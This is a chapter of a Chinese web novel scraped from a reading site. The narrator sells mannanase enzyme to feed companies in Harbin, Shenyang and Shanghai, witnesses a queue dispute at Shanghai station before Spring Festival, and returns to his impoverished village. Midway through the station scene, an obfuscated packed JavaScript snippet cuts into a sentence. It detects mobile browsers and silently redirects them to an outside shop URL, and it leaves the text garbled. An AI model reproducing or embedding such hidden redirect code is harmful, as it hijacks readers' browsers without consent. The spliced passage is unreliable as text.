默认冷灰
24号文字
方正启体

13. 第 13 章

作者:王昆昆本书字数:K更新时间:
    透过云南轻工业大学生命科学学院工程中心实验室的玻璃窗户,我望着风华正茂、朝气蓬勃的学子们在青春的校园里匆匆离去。喧嚣的校园渐渐宁静下来,又是一年寒假来临。


    我带上刚在实验室制备的甘露聚糖酶样品,走出冷清的云南轻工业大学,赶往四千公里外的黑龙江哈尔滨市。济南的赵红军又为我引荐了哈尔滨的一家贸易公司,让我去商谈甘露聚糖酶的经销事宜。临行前,“老二”张斌叮嘱我,若碰到市场上有高含量的脂肪酶,就像几个月前购买甘露聚糖酶那样,买一些回来。


    从哈尔滨火车站出来时,正值腊八节后的第三天。凛冽的寒风卷着细碎的雪花,如刀锋般迎面刮来。我毫无防护的脸和手瞬间传来锥刺刀割般的强烈痛感,脚掌隔着袜子和鞋底,仍像光脚踩在冰上,针扎似的刺痛难忍,我不自觉地用脚尖点地行走。


    干燥寒冷的空气侵入鼻腔,先是一阵冰凉不适,接着鼻涕像水一样“刷刷”流下。我来不及找纸巾擦拭,慌忙抬起手臂用衣袖轻擦,鼻涕在衣袖上瞬间凝结成薄薄的冰凌。耳朵在一阵尖锐刺痛后,变得僵硬麻木,完全失去了知觉。眼镜的树脂镜片被呼出的热气蒙上一层薄冰,视线顿时模糊不清。


    火车站前的空旷街道宛如冰晶的世界、雪花的海洋。利剑般的冰柱倒挂在窗檐与屋檐下,白雪覆盖着冰封的人行道和绿化带。稀疏的行人都弓着腰,踩着碎步,尽量顺着风向前行,或背身迎风,倒退着走。


    我哆嗦着迅速跑进路边一家超市,买了羊绒帽、口罩、羽绒手套和厚厚的羊毛袜。全身裹严实后,打车前往赵红军引荐的贸易公司,却被告知老板临时有急事,今早刚去了辽宁沈阳市铁西区。


    等我从哈尔滨赶到沈阳铁西区,该公司老板又急匆匆返回了哈尔滨。他在电话里连连致歉,为了不让我白跑一趟,热情推荐了沈阳一位叫王洪建的贸易公司老板。王洪建高大威猛,留着光头,我们见面后聊了一下午,便谈妥了辽宁全省的经销权。第二天,我和他一同拜访了辽宁和牧神股份有限公司。


    辽宁和牧神股份公司的老板唐大海,是“正方康地三杰”之一,也是王洪建的大学本科同学。在中国饲料与畜牧业界的传说里,唐大海的文学功底与演讲才华无人能及,且和宋二海一样,琴棋书画、吟诗作赋样样精通,堪称中国饲料与畜牧业的“绝代双骄”——“北唐南宋”,两人还合资在山东成立了山东大神饲料公司。


    辽宁和牧神股份公司在全国有近九十家分公司,员工超两万五千人,年产值近两百亿元。总部位于沈阳市郊区,是集办公、机械设备制造、饲料生产、肉鸡屠宰、食品加工于一体的宏大产业园区,整体布局合理,大气简洁且实用。


    王洪建带我找到了和牧神股份酶制剂采购的主要负责人李飞鹰。李飞鹰五十多岁,为人谦卑好客、和蔼可亲,说话真诚直率又豪爽。我们从下午四点一直聊到黄昏,他还热情地留我们共进晚餐。


    第二天早上,李飞鹰打电话告诉我,他昨晚安排人加班检测了我留下的甘露聚糖酶样品,各项数据都不错,让我过去再详细谈谈。我到他办公室后,简单聊了价格、进货渠道和结算方式,他便答应先少量订货试用。李飞鹰的做事风格简单直接、高效务实,遵循客观数据评估,判断中不掺杂个人主观因素。他是为数不多能记得自己公司也是从小企业一步步发展起来的人,不戴歧视小微企业的有色眼镜,不以大公司自居而店大欺客,也不耍“遛猴”“踢足球”之类的计谋玩弄他人,更不用“拧毛巾”“挤牙膏”的议价手段榨干供应链企业的利润。他主张让整个产业链的上下游企业,在保持适度新陈代谢的前提下,携手共进、共同成长并实现可持续发展,力求推动整个行业达成健康的生态平衡。


    辽宁和牧神股份公司完成进货后,我顺路前往北京大学生命科学院拜访了汪教授,随后一路南下,途经天津、济南、安徽等地,每到一处都协助当地已有经销商共同开发市场。


    当我与李新语再次前往上海红马饲料公司时,距离除夕夜仅剩5天。


    上海红马饲料公司的赵老板,说话做事与李飞鹰一样简单直接,也是实用主义的践行者。他始终强调,饲料的本质是生产资料,应注重性价比,不能像高端消费品或奢侈品那样盲目追求个人喜好与情怀,再通过花哨的营销手段变相让养殖户买单。我们在他办公楼的第二次见面不到十五分钟,他便向李新语下单订货。这让李新语走出办公室时高兴得手舞足蹈,反复念叨金农神集团应该向红马饲料公司学习。


    金农神集团依旧毫无变化,仿佛无需任何改变就已足够强大。我与李新语再次走进云博士办公室时,还未开口,他便说出了与上次拜访时完全相同的话:“先找供应链总经理,待他批准进入采购目录,再找内务部采购部核实盖章,接着找张四海董事长签字,之后再由我安排养殖试验……然后再找……”


    当我们再次在三面环形落地玻璃幕墙的办公楼见到张四海时,他依旧彬彬有礼、温文尔雅,客气地微笑着说:“你们应该先去找云博士沟通。”他表示,金农神集团所有技术与采购相关事宜已全权交由云博士负责,他不能越级越权管理,以后不必再找他。


    离开金农神集团时,距离除夕夜仅剩4天。方贤德教授安排帮我订票的专人说,临近春节的机票价格过高,仅剩头等舱,购票金额远超方教授允许的范围,而火车票在网上也难以买到,因此他未帮我订到从上海回昆明的机票或火车票,让我自行前往上海火车站售票窗口排队购买火车票。


    春节前夕,上海火车站的站前广场上人山人海,远远就能听到“嗡嗡”的喧闹声,宛如一个忙碌的巨大露天蜂巢。提前乘火车抵达的人、等候同伴排队买票的人,都放下了身上大袋小袋、大箱小捆的沉重行李。潮湿阴冷的空气中,有人三五成群席地而坐聊家常,有人凑在一起叼着香烟玩扑克牌,有人靠着行李闭目养神打瞌睡,有人啃着面包、嗑着瓜子、喝着凉水,有人安静地斜倚在角落给怀里的孩子喂奶。他们满怀愉悦,燃烧着希望——明天或几天后就能回到老家,与阔别已久的亲人团聚;能给爹娘或孩子添几件新衣服;能为家里置办几件新家具;能在村头建盖新房;或许还能和心爱的人结婚,组建新家庭。人只要有对明天的希望和热情,眼下就算苦一点、累一点,依然能活得开心幸福。


    春节,让他们不再寄身远方他乡,得以集体回归魂牵梦萦的故里;春节,是归航的灯塔,指引游子的孤帆如期停泊在家的港湾;春节,能让难过、痛苦、悲伤的过往被团聚的欢愉冲淡;春节,也能让熟悉的亲情乡情抚平漂泊的挫折与伤痛。


    上海火车站售票窗口的排队队伍从售票室一直延伸到广场,再弯弯曲曲地延伸至广场左侧的绿化带附近。


    我无精打采地耷拉着脑袋,跟在曲折迂回、又长又粗的队伍后面。绿化带中稀疏的乔木枝丫上,残存的枯黄叶片在潮湿阴冷的寒气中哆哆嗦嗦,等待着严冬里最后一缕寒风将它们轻轻吹落。小草已变成一片枯萎的黄色,再难寻到一丝嫩绿,在凛冽寒冬中沉沉睡去,唯有等待来年春风唤醒,再次破土而出。初冬刚盛放的菊花也低低垂下头,破败的花瓣上挂着晶莹的水珠,仿佛在悲叹时光的残酷无情。只有在湿润的香樟树梢上,泛起点点黄金般宝贵的嫩芽,怯生生地躲藏在淡黄色的叶子中间,释放出春天将要来临的、似有似无的讯息。


    忽闻排在我前面的队伍中传来一阵骚动,我侧身抬头望去。只见一位戴着“红袖标”的治安管理人员,正对着一位中年妇女劝道:“谁让你随便插队的?请你出来,重新去队伍最后面排队。”


    中年妇女有些紧张,慌忙连声解释:“我原本就排在这个位置,只是刚才去上了个厕所,仅仅离开了一小会儿。”


    治安管理人员一边整理左手臂上的“红袖标”,一边不容辩解地提高声音:“谁让你去上厕所?谁说上厕所折返回来还能排在原来的位置?赶紧出来去队伍最后面重新排队。”


    中年妇女低头看着自己沾满泥土的脚尖,仿佛在认真接受批评,干裂发白的嘴唇似乎想再解释些什么,却又不知该如何开口。


    站在中年妇女身后的一个年轻女孩替她作证:“刚才她确实排在我前面,只是去了趟厕所,仅仅离开了几分钟而已。”


    治安管理人员或许觉得自己的威严受到了侵犯,突然扯开嗓门大声说:“你算老几?我说不行就是不行,她还是得重新去队伍最后面排队!”


    年轻女孩嘟着嘴,低声反问:“这是谁给你那么大的权力?”


    治安管理人员突然靠近年轻女孩,额头几乎顶到她的额头,扯着左臂上的“红袖标”咆哮道:“它给我的权力!它赋予我命令她重新排队的权威!”


    年轻女孩被他一恐吓,也低头瑟缩起来,任由“红袖标”口沫横飞地继续咆哮。


    中年妇女微微


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334303|199212||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    犹豫,惶恐地看了“红袖标”一眼,又看了唯一替她说话的年轻女孩一眼,这才依依不舍地向队伍最后面走去。


    大年初二下午,我终于回到了久违的家乡。


    春节,让我常年沉寂荒凉的家乡有了难得的生机与活力,村民们争相点燃熄灭已久的欢庆篝火。村庄的空气中弥漫着淡淡的火药味,村民们换上相对干净整洁的衣服;照明的灯泡也从十五瓦阔气地换成了一百瓦;家家户户的门框上贴着鲜红的春联,还有鲜衣怒马的尉迟恭和手持打神鞭的秦叔宝;村妇们挽起衣袖,用长满老茧和冻疮的手清洗着各种蔬菜与炊具;小伙子们叼着香烟,劈柴烧水,杀鸡宰鱼;墙角的土狗慵懒地打着哈欠,睡眼惺忪地舔着舌头,盯着溅落在地上的零星鸡血;孩童们在村头活蹦乱跳,兴高采烈地燃放鞭炮;一家之主的男人们爬上山顶破败的小庙,磕头上香、敬供添油,寄望山神赐予一年的风调雨顺;白发苍苍的老者安详地佝偻着腰,斜倚在光秃秃的白杨树下,任夕阳在枝条和树丫间投下的斑驳光影缓缓摇曳、悄无声息地消隐。


    太阳从西边的山顶缓缓坠下,暮色升起,夜幕降临。北风在黑夜的掩护下撕破山脊的轻雾,掠过原野的松林,卷着凛冽的寒意,“呜呜”地从泥墙缝、瓦缝里灌进我家的老屋,屋顶沾满灰尘的蛛丝条犹如凌空伸出的皮鞭,反复抽打着空气中稀薄的暖流。


    我母亲蜷缩着瘦弱的身躯躺在炉火旁,零星的白发随风不停地抖动。黄褐色的脸上,一道道深深的皱纹仿佛倾诉着她多年承受的无尽伤痛与疾苦。高耸的颧骨、深陷的眼窝,她浑浊的目光呆滞地望着屋顶,仿佛仍在思念着哥哥和爷爷奶奶。皮包骨的手背上爬满了蚯蚓般凸起的筋脉,开裂残缺的指缝里嵌满了她劳作时沾附的泥土。她像茫茫大海上一张残破不堪的孤帆,任岁月之风呼啸而过,任时代之浪迎面而来,以无所畏惧的淡定从容、了无眷恋的毅然决然,静待那艘永无归期的西航之船。


    父亲雕塑般地斜靠在墙角,眼神空洞而迷离地看着小屋中央——那曾是放置哥哥和爷爷奶奶遗体、用草席包裹的地方。无情的光阴,残酷的现实消磨尽他向往远方的意志,年复一年的劳作耗尽他追寻光明的念力。曾经因我执意求学而对我生出的种种抱怨与愤怒,已被岁月的光阴冲淡消散。他的耳朵已听不清我在讲什么,倒也落得个耳根清净。或许他对我的记忆,永远定格在了我十三岁离家的那一年。


    我坐在母亲身旁的草墩上,望着柴炉里跳动的火焰,心头翻涌着难以平复的悲凉。在我朦胧混沌的幼年时光里,这间不足三十平方米的老屋内,除了已经出嫁的四个姐姐,还住着我和父母、爷爷奶奶,以及未出嫁的一个姐姐与一个哥哥,共七口人,拥挤得如同绿皮火车的硬座车厢。附近方圆几百米的山包上,住着一百多户村民,总计六百多口人。如今,王氏本家的大伯、二伯与二婶已先后离世,许多邻居也在山脚下盖了新房搬走,或是永久定居外地,只剩下一些老弱病残与留守的妇女儿童。年轻的女孩们,大多义无反顾地远嫁他乡;父辈们全力供养至初高中毕业的村中“精英”,也没有倦鸟归巢、荣归故里建设家乡,而是毅然选择前往远方打工创业或继续务农,而后成家立业,落地生根。


    二十多年前,我常常好奇绵绵群山的背后是什么,太阳升起与落下的地方有什么。这是我憧憬远方的最初梦想,也是远走他乡的初始动力。而今,离开十五年的我再次回到这里,站在这片被父母、爷爷奶奶及祖辈反复踩踏,浸润着他们汗水与血泪,沉淀着他们希望与绝望的贫瘠土地上,从未觉得它如此厚重、如此亲切、如此承载重托,更从未觉得它如此无力、如此无奈、如此悲伤、如此无助。


    如果人生可以分为四季,有的人始终活在春天里,我的父母却永远困在冬天;我的哥哥和爷爷奶奶不仅生于冬天、活于冬天,最终也逝于冬天。人生最难熬的,不是在寒夜里卑微地努力活着,而是在无尽的寒夜里,不知道黎明何时到来;在寒夜中艰难负重前行,不知道破晓的曙光何时能穿透重重迷雾,照亮前方的路。比极端贫穷更可怕的,是习惯性的认命、自觉性的卑微——在漆黑的深夜里熄灭并掩埋所有希望与理想,任自己的命运在苦海深渊里无限沉沦。出身寒门的悲苦只能自哀,伤痛只能自怜,幸福只能自欺。今天苟且,明天继续苟且,明天不过是今天悲苦的延续;看不到明天的光明与希望,只能在永恒的寒夜里无奈认命、无助煎熬、无力绝望。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)